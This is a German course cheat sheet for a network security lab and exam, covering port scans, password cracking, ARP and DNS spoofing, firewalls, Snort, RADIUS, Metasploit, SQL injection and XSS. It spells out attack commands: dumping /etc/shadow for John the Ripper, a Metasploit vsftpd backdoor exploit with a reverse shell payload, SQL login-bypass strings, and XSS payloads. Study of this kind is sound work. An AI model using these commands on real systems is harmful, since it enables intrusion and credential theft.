6.6 KiB
🖥️ VirtualBox/VM Performance
- Schildkröte-Symbol → Hyper-V und WSL unter Windows deaktivieren
- Alternative: VMWare Workstation Pro (kostenloser Account nötig)
🔌 Portscans
Was ist ein Port?
- Virtuelle Schnittstelle für Verbindungen (0–65535 TCP/UDP, Layer 4)
- Well Known Ports (0–1023): z. B. 22/SSH, 80/HTTP, 443/HTTPS, 53/DNS
Portscanner?
- Prüft Ports eines Hosts auf „offen“, „geschlossen“, „gefiltert“
- Tools:
nmap,nc, Bash-Loops mit/dev/tcp
Portscan-Techniken
Ping Scan: ICMP EchoTCP SYN: halb-offen (kein 3-Way Handshake)TCP Connect: vollständiger 3-Way HandshakeUDP Scan: leere PaketeStealth Scan: FIN, XMAS, Idle Scan (Zombie)
Detection & Prevention
-
Ungewöhnliches Verbindungsverhalten (viele Ports/IP)
-
Tools: Firewalls, IDS, Rate-Limiting, Default-Deny-Prinzip
Befehle
netstat -tulpn
sudo lsof -i -P -n
nmap -p 20-80 172.22.x.x
nc -zv 172.22.x.x 20-80
🔑 Passwortsicherheit
Gute Passwörter
- ≥12 Zeichen, Groß/Klein, Ziffern, Sonderzeichen
- Keine Wörterbuchwörter oder persönliche Daten
- Passwort-Manager nutzen, keine Wiederverwendung
Cracking-Tools
- Online: Hydra, crackstation.net
- Offline: John the Ripper (JtR), Hashcat, ophcrack, Rainbowcrack
John the Ripper (JtR)
- Hash-Identifikation, Kandidaten-Generierung, Vergleich
- Crack-Modi: Single, Wordlist, Incremental, Mask, Markov, Regex
- Speed-Up: GPU, Threads
--fork=4, gezielte Wortlisten - Linux:
sudo unshadow /etc/passwd /etc/shadow > combined.txt - Crack:
john --wordlist=rockyou.txt combined.txt --format=crypt --users=root
Rainbow Tables
- Vorgefertigte Hash-Ketten, schneller Lookup
- Effektiv gegen unsalted Hashes (z. B. LM/NTLM)
🕵️♂️ Man-in-the-Middle (MITM) & ARP-Spoofing
Grundidee
- Angreifer täuscht Opfer und Gateway falsche MACs vor → Datenverkehr geht durch den Angreifer
Tools & Schritte
arp→ ARP-Cache anzeigen- Metasploit:
use auxiliary/spoof/arp/arp_poisoning set SHOSTS <gateway-IP> set DHOSTS <victim-IP> exploit - Ettercap (GUI): Unified sniffing → Targets → Plugins → ARP Poisoning
HTTPS MITM
- Zertifikatsinjektion (Cain & Abel)
- Nur möglich mit selbstsignierten Zertifikaten oder Downgrade-Attacken
🌐 DNS-Angriffe
Methoden
- DNS Spoofing / Cache Poisoning
- DNS Hijacking, NXDOMAIN-Attacken
- DNS Tunneling
- DoH/DoT als Gegenmaßnahme
Befehle
vim /etc/ettercap/etter.dns
github.com A <Angreifer-IP>
- Ettercap: DNS-Spoof Plugin aktivieren
🔥 Firewalls
Typen (nach Effizienz)
- Application Gateway (Layer 7)
- Proxy-Firewall
- Stateful Inspection (pfSense)
- Paketfilter-Firewall
Befehle
iptables -I INPUT -p tcp --dport 80 -j DROP
iptables -L -v
firewall-cmd --direct --add-rule ipv4 filter OUTPUT 0 -d <IP> -j REJECT
Ports scannen
nmap -T4 <Firewall-IP>
👀 Intrusion Detection Systems (IDS)
Typen
- NIDS: Netzwerkbasiert
- HIDS: Hostbasiert
- Hybrid, Anomaly-based, Signature-based
Tools
- Snort:
snort -q -A console -i eth0 -c /etc/snort/snort.conf - Regeln:
alert tcp any any -> 192.168.1.10 80 (msg:"HTTP access detected"; sid:1000001;)
📡 RADIUS
AAA-Prinzip
- Authentifizierung: Wer bist du?
- Autorisierung: Was darfst du?
- Accounting: Was hast du gemacht?
Protokolle
- PAP: Klartext (unsicher)
- CHAP: Challenge-Response (sicherer)
- EAP-TLS: Zertifikatsbasierte Auth (sehr sicher)
Konfiguration
- Clients:
/etc/raddb/clients.conf - Users:
/etc/raddb/users
Test
radtest bob Secret123 <RADIUS-IP> 1812 secret123
🎯 Metasploit
Phasen Pentest (BSI)
- Vorbereitung
- Informationsbeschaffung
- Bewertung
- Angriff
- Abschluss
Modultypen
- Exploit: Schwachstelle ausnutzen
- Payload: Shells, Meterpreter
- Auxiliary: Scans, Fuzzing, DoS
- Post-Exploitation: Nach dem Zugriff Aktionen durchführen
Befehle
msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST <target-IP>
set PAYLOAD linux/x86/shell_reverse_tcp
set LHOST <attacker-IP>
exploit
🗄️ SQL Injection
🔑 Login-Bypass Beispiel
Email: Admin@1337.org
Passwort: " OR 1=1;#
➡️ Führt zu Query:
SELECT * FROM testumgebung_mysql_db.user
WHERE user_email = "Admin@1337.org"
AND user_password = "" OR 1=1;#
✅ Da 1=1 immer true → Zugriff auch ohne Passwort
🔑 Weitere Login-Bypass Varianten (Labor)
- Mit manipuliertem Benutzernamen:
Email: SvenMoller@teleworm.us
Passwort: " OR 1=1;#
➡️ Erfolgreich eingeloggt als Arand1978
- LIMIT 1 für nur einen User:
Email: " OR 1=1 LIMIT 1;#
Passwort: ignore
➡️ Erfolgreich eingeloggt
🛠️ Tool: sqlmap (Labor)
Analysiere SQLi-Lücken:
sqlmap -u "http://172.22.180.102/nie/php/XSS_ProductView.php?clicked=1"
sqlmap -u "http://172.22.180.102/nie/php/XSS_ProductView.php?clicked=2+AND+2=2"
⚠️ Hinweis (Labor)
UNION SELECTNICHT klausurrelevant:
XSS_ProductView.php?clicked=1 UNION SELECT 1,'test',3,4,5
🪞 Cross-Site Scripting
📌 Reflexives XSS (Labor)
Angriff im Suchfeld:
<script>alert('XSS')</script>
URL-Beispiel:
http://172.22.180.203/nie/php/XSS_Umgebung.php?suche=<script>alert('XSS')</script>
➡️ Beim Aufruf wird der JS-Code direkt im Browser ausgeführt
📌 Persistentes XSS (Labor)
Kommentar-Input manipulieren:
Was ein wünderschönes Stück Baum dies doch ist. <script>alert('XSS')</script>
➡️ Jeder Nutzer, der die Seite lädt, bekommt den Alert
Verschleierung (Labor):
Kommentartext so gestalten, dass <script> im DB-Dump weniger auffällt.
🛠️ Tool: xsser (Labor)
Automatisierte XSS-Prüfung:
xsser -u http://172.22.180.102/nie/php/XSS_Umgebung.php?suche=XSS -s --user-agent "Googlebot/2.1" --threads 5
🚨 Session Hijacking (Labor Bonus)
- Mit XSS Session Cookies stehlen
- Danach als Opfer-User einloggen
Mitigation:
HttpOnlyFlag für Cookieshtmlspecialchars($input, ENT_QUOTES)in PHP
📋 Kompakte Klausur-Befehlsübersicht
| Angriff | Beispiel / Befehl |
|---|---|
| SQLi Login-Bypass | Email: " OR 1=1;# |
| SQLi Tool | sqlmap -u "<URL>" |
| Reflektiertes XSS | URL: ?suche=<script>alert(1)</script> |
| Persistentes XSS | Kommentar: <script>alert('XSS')</script> |
| XSS Tool | xsser -u <URL> -s --threads 5 |